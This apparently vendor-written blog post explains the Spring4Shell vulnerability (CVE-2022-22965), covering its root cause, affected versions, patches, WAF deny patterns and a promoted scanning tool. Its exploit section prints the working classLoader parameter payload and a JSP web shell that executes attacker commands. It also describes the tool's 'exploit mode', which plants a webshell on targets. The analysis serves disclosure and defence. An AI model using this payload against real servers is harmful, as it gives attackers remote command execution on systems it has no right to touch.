Things You Should Know About the Spring4Shell Vulnerability (CVE-2022-22965)

Things You Should Know About the Spring4Shell Vulnerability (CVE-2022-22965)

On March 30th, 2022, a zero-day Remote Code Execution(RCE) came into the spotlight when a Chinese security research team leaked the exploit code online on Twitter, but later went on deleting the post. The post stated in broad that “Spring core RCE (JDK >=9)” (the deleted PoC can be found here)

This tweet later started gaining attention due to a loosely stated line “Spring Core RCE”(without stating the requisites). As Spring is one the most popular underlying frameworks used in Java-based enterprise applications and has a wide attack surface; this tweet sparked a zeal among malicious attackers and security professionals around the world. 

What is Spring4Shell Vulnerability?

Following a similar trend in the naming convention like “Log4Shell” which also affected a Java library, the Spring Core RCE is known as “Spring4Shell”.

When the “KnownSec 404 team” first tweeted about the exploit, there was a huge rush among the people to get the working PoC. With Spring developers releasing a CVE earlier on that day, there was confusion created whether CVE was associated with the exploit code. But later, it came to be known that the CVE was for Spring Cloud Function and not for the Spring Core.

Let us look at how this vulnerability came into the limelight and whether this vulnerability necessitates the required hype or not. 

Root cause analysis

The issue lies in the “data binding” mechanism of the Spring Framework. Whenever an external user submits a request, the Spring MVC allows associating the parameters from the submitted request URL, request header or the request’s body to any other function as arguments or treats them as Java Objects. Since the request parameters/data are externally controlled by the users, it poses a security risk to pass them as parameters internally to Class, ClassLoader, ProtectionDomain.  

A decade ago, a vulnerability was identified in the Spring Framework which tried to exploit the above-mentioned scenario and gain arbitrary code execution on the server.  

Bypassing CVE-2010-1622

It all started with the existence of a 12-year-old vulnerability in the Spring Framework, with a problem in the Spring Beans’ CachedIntrospectionResults class that would enumerate the properties/data sent by the external user through an HTTP request. This gave the external users the ability to modify the properties of an object which would be used internally and thus execute arbitrary code on the system.

The developers then implemented the below fix, to introduce the blacklisting of the classLoader and protectionDomain because they map methods that allow external users to mess around with the backend.

However, this code was secure until the commencement of Java Development Kit (JDK) 9.0. This version introduced a new method called class.getModule which bypassed the previous mechanism and allowed assigning user-controlled values to the property of the ClassLoader

Analysing the leaked exploit

There would be many ways in exploiting the ClassLoader through the getModule method but the exploit code which was made public especially targets deployments on Apache Tomcat. The exploit code specifically affects the Spring Applications deployed as traditional WebArchive (WAR) to the Apache Tomcat Servlet container. 

The exploit works by modifying the Apache Tomcat’s naming scheme of log files and the location where they are stored, by changing it to the web application’s root directory.

Since Spring uses serialisation to map the values of the Java Object, it was found that you can set other values such as properties of a class. So, the following requests can be used issued:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("hunt4spring".equals(request.getParameter("pwd")))

The above section creates a malicious password protected JSP file with the name “hunt4spring”. This JSP file contains the malicious code having the capability to execute a system command supplied by the attacker through the “cmd” parameter.

){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %

This is the content inside the JSP web shell which executes all the shell commands passed through the parameter.

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

This line mentions that the extension of the file is “.jsp”

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

This changes the location of the log file in the targets ROOT directory. 

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

This mentions the name of the JSP file which is “shell”.

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

This payload sets the timestamp for the newly created JSP file.

Now the attacker makes a request to the malicious JSP file along with certain parameters. The “pwd” parameter mentions the password for JSP file and the “id” parameter with the command the attacker wants to execute on the target system.

Testing the above exploit on a vulnerable local instance:

The Implement Fix

Now let’s look at the fix, the Spring team implemented in Spring Framework to mitigate the issue. The region highlighted in the green is the implemented fix, which follows a white-listing based approach, unlike the earlier black-listing approach. This accepts a method that equals to “name” ["name".equals(pd.getName()] or a method that ends with “Name” [pd.getName().endsWith("Name")]. Any other method besides the one mentioned above is excluded. Hence, here the developers consider methods with “name” or ending with “name” as safe which are bound by the external users.

Who and what is affected?

The “Spring4Shell” vulnerability targets the Spring Core component of the Spring framework. The vulnerability exists in the Spring Core with JDK versions greater or equal to 9.0. This vulnerability affects 

The requirement for the scenario to occur requires:

  1. Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
  2. Java Development Kit 9.0+
  3. Apache Tomcat as Servlet container
  4. Web application packed as WAR
  5. “spring-webmvc” or “spring-webflux” dependency

If the application makes use of the following annotation for user requests handing, then they are susceptible to be affected:

@RequestMapping
@GetMapping
@PostMapping
@PutMapping
@DeleteMapping
@PatchMapping

How to check? – Tool Release

In order to mitigate against this vulnerability and help users online identify whether their systems are actually affected by this newly released vulnerability, we at RedHunt Labs developed a tool that performs both passively identifying vulnerable systems as well as has capabilities of exploiting the system.

The tool — “Hunt4Spring”, as we call it, can run in 2 modes namely the default mode and the exploit mode. The default mode helps to identify potentially vulnerable systems to this vulnerability. While the “exploit mode”, not only identifies vulnerable systems but also places a webshell in the root directory of the target system.

Hunt4Spring accepts target URLs’ stored in a file, which helps in mass scanning for the Spring Core Remote Code Execution (RCE) vulnerability. The tools then stores the results in JSON format which then can be easily parsed and used for various purposes.

We have added a demo of the tool below:

You can get the tool and related instructions on our GitHub.

Mitigation

A few hours ago, the Spring team released newer versions of Spring Framework to mitigate this issue. Spring Framework 5.3.18 and 5.2.20, contain the fixes for the vulnerability. Also, they got a CVE assigned for this vulnerability which aids to easily differentiate between other Spring vulnerabilities. 

It is strongly recommended to perform an upgrade to newer versions of the Spring framework that are 5.3.18 and 5.2.20 respectively. Along with this the team also released newer versions of Spring Boot which were dependent on the Spring Framework. 

Maven
Edit the pom.xml to update the version with the latest one.

<properties>
    <spring-framework.version>5.3.18</spring-framework.version>
</properties>

Gradle
Edit the build.gradle:

ext['spring-framework.version'] = '5.3.18'

The Spring framework has a DataBinder, which acts as a filter or handler through which all the request parameters go through before they get consumed. This DataBinder has the functionality to block certain patterns. You can create a “ControllerAdvice component“ which acts as one global handling competent for handling exceptions across the whole application. The deny list for some dangerous patterns include:
{ class.* , Class.*,  *.class.*, *.Class.* }

For a temporary fix, you can implement Web Application Firewall (WAF) rule filtering for strings such as “class.*“, “Class.*“, “*.class.*“, and “*.Class.“. Make sure that you perform proper tests after deploying the filter rules to make sure that they do not affect the normal business operation. 

Vulnerability Timeline

  • 21st June 2010 –  CVE-2010-1622 issued for RCE in Spring Framework
  • 29th March 2022 – Bypass was found for previous CVE and reported to VMware 
  • 30th March 2022 – Internal team performed investigation, analysis, testing for the exploit
  • 30th March 2022 – Meanwhile, the exploit code was leaked on Twitter
  • 30th March 2022 – The team assigned a CVE-2022-22963 for an RCE in different Spring Product
  • 31st March 2022 –  CVE-2022-22965 was assigned for Spring Core RCE
  • 31st March 2022 – Spring team released a patch

Concluding Thoughts

Unlike “Log4J”, the attack surface of “Spring4Shell” is far less due to the supporting requirements needed by the application to be vulnerable. All publicly known exploits require the Spring application to be deployed on an Apache Tomcat Server as a WAR deployment rather than the default JAR file. The attacker needs to know the endpoint at which the application takes in request parameters and binds them as Plain Old Java Objects (POJO).

Since the nature of the vulnerability is generic, there is a possibility of other variants of exploits popping up in the near future that don’t require specific requisites.

How NVADR can help

New attack vectors and vulnerabilities keep originating quite often and might affect one (or many) assets across your organisation. When these assets are publicly exposed, the risk becomes higher as ease of exploitation increases.

Our Attack Surface Management platform NVADR continuously keeps a track of externally exposed assets and checks for attack vectors across all your external attack surface. It also ‘continuously’ enumerates and lists all the technologies used across your external attack surface and thus helps identify affected assets right away.